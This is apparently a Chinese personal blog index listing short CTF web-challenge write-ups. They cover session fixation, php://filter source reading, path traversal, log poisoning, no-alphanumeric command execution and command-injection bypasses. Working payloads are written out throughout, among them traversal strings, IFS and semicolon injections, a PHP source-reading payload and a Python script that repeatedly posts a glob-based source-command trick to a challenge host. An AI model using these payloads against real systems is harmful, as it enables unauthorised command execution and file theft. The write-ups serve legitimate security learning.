LOADING

加载过慢请开启缓存 浏览器默认开启

youbing的博客

记录学习与生活

技术博客,分享编程学习笔记

Session固定攻击

2026/5/8

打开题目发现可以登录,和给管理员发消息,还提示测试账号和flag在管理员页面

Session固定攻击_d4625a96

先登录上test账号,然后给管理员发消息,这里要直接的session id

Session固定攻击_3b7e42fd

在cookie中找到自己的session

Session固定攻击_db98ad1a

给管理员发消息

Session固定攻击_0e9f2c21

返回开始界面,刷新得到flag

Session固定攻击_ef3eedfd

CTF{ctfshow_session_fixation_is_a_common_web_security_vulnerability}

阅读全文

phpfilter读取源码

2026/5/7

题目名字叫php://filter读取源码,猜测可能需要php伪协议读取文件源码,尝试输入一个路径看看什么情况

phpfilter读取源码_3ba6824c

被禁用了,查看一下当前页面的源码看看什么情况

php://filter/convert.base64-encode/resource=index.php

phpfilter读取源码_ec9eafa6

Base64解码后发现这里包含了一个db.php文件

phpfilter读取源码_4e64daa3

再用同样的方法查看一下db.php文件中有什么

phpfilter读取源码_1b6f2561

Base64解码后发现flag

phpfilter读取源码_2a444633

CTF{3ecret_passw0rd_here}

阅读全文

路径遍历突破

2026/5/7

题目提示flag为/flag.txt,直接读取发现不让用/或../开头

路径遍历突破_95c9db97

这里开头随便加个东西不为/或../就行了,然后用../先根目录移动

1/../../../../../../flag.txt

路径遍历突破_3707f5d8

CTF{file_path_bypass_is_fun}

阅读全文

日志文件包含

2026/5/7

打开题目发现可以输入文件路径

日志文件包含_fe94a8b9

结合题目名字叫日志文件包含,所以先找一下日志文件的路径,在网络响应中发现服务端是nginx

日志文件包含_26121b2f

搜索发现nginx服务器一般日志文件路径是/var/log/nginx,这里看看访问日志/var/log/nginx/access.log

日志文件包含_c5fd0cf0

发现日志会记录请求头,这里修改User-Agent也会被记录进去,在User-Agent写段命令进去看看网页打开日志文件时会不会执行里面的命令

User-Agent:
日志文件包含_e7bc2371

响应中出现了当前目录下的文件,说明命令被成功执行,而且根据响应中已经得到了flag的位置直接执行cat命令

User-Agent:

日志文件包含_0447760d

CTF{php_access_l0g_lf1_is_fun}

阅读全文

无字母数字命令执行

2026/5/2

这道题对比上一道没有回显,尝试重定向写文件结果访问失败。后来找到一个方法

先上传文件(内容:tac /var/www/html/flag.php)上传后会放在一个生成的临时文件中

然后再传参数. /???/????????[@-[],这个会随机对符合要求的文件进行source命令,当读到上传的文件时就会执行tac /var/www/html/flag.php输出flag。传参数可能要重复直到匹配到我们上传的文件,所以可以写一个脚本,这里在网上找了一个脚本来做:

import requests

import time

配置项(集中管理,方便修改),这里的url要改为http

TARGET_URL = “http://27f8f9b8-dc29-4db9-a38c-0c3f317a49b0.challenge.ctf.show/

PAYLOAD_FILE_PATH = “payload.txt” # 内容为 tac /var/www/html/flag.php

CHECK_FLAG_STR = “CTF{“

RETRY_INTERVAL = 1 # 重试间隔(秒)

def get_flag():

"""循环发送请求,获取包含CTF{的flag"""

# 1. 初始化文件对象(使用with语句确保文件正确关闭)

try:

    file = {"file": open(PAYLOAD_FILE_PATH, "r", encoding="utf-8")}

except FileNotFoundError:

    print(f"错误:找不到文件 {PAYLOAD_FILE_PATH},请检查路径!")

    return

except Exception as e:

    print(f"打开文件失败:{e}")

    return

# 2. 构造恶意代码参数(. /???/????????[@-[] 是Linux命令模糊匹配绕过)

data = {"code": ". /???/????????[@-[]"}

# 3. 循环发送请求获取flag

print(f"开始向 {TARGET_URL} 发送请求,等待获取flag...")

try:

    while True:

        # 发送POST请求(添加超时,避免卡死)

        response = requests.post(

            TARGET_URL,

            files=file,

            data=data,

            timeout=10,

            # 禁用重定向,避免意外跳转

            allow_redirects=False

        )

        # 检查响应中是否包含flag

        if CHECK_FLAG_STR in response.text:

            # 提取完整flag(从CTF{开始到行尾)

            flag_start = response.text.find(CHECK_FLAG_STR)

            # 找到flag结束位置(通常是},增强鲁棒性)

            flag_end = response.text.find("}", flag_start) + 1

            if flag_end > flag_start:

                flag = response.text[flag_start:flag_end]

            else:

                flag = response.text[flag_start:]

            print(f"✅ 找到Flag:{flag}")

            break

        else:

            print(f"⏳ 未找到flag,{RETRY_INTERVAL}秒后重试...")

            time.sleep(RETRY_INTERVAL)

except requests.exceptions.RequestException as e:

    print(f"请求失败:{e}")

finally:

    # 确保文件关闭

    file["file"].close()

if name == “main“:

get_flag()

运行脚本得到flag

无字母数字命令执行_8d644b9b

阅读全文

反弹shell构造

2026/5/1

输入whoami,发现不会回显信息

反弹shell构造_523e0a46

尝试重定向写入文件

反弹shell构造_c5c3a1c2

访问1.txt得到flag

反弹shell构造_3bcddcd4

阅读全文

一句话木马变形

2026/5/1

打开题目发现可以执行php命令

一句话木马变形_b55a9c82

执行ls看看当前目录下有什么文件

一句话木马变形_56e525ff

发现flag执行cat看看能不能得到flag

一句话木马变形_67d24ac9

发现被禁用了,根据要求重新构造

payload:show_source(next(array_reverse(scandir(getcwd()))));

一句话木马变形_1ac0da09

阅读全文

无字母数字代码执行

2026/5/1

这里执行命令发现被禁用了,结合题目应该是要无字母数字代码执行。

无字母数字代码执行_880c4fb8

这里取反绕过构造payload得到flag

无字母数字代码执行_8b2853f1

阅读全文

管道符绕过过滤

2026/5/1

这道题发现输入的东西会自动在前面接上ls执行

管道符绕过过滤_15811a70

先找到flag的位置

管道符绕过过滤_027c5098

然后用;结束ls命令再执行cat去得到flag

管道符绕过过滤_7255da6d

命令成功执行在源码中找到flag

管道符绕过过滤_21aa9a5f

阅读全文

polar rce1

2026/4/24

这里提示是能绕过空格就行,这里直接127.0.0.1;cat$IFS$9f*,试试能不能直接获得flag,输入后成功得到flag

polar-rce1_a3cd4cd1

阅读全文
1 ... 2 3 4 ... 16
avatar
youbing

你好!我是 youbing
这是我的技术博客
分享编程学习笔记和生活记录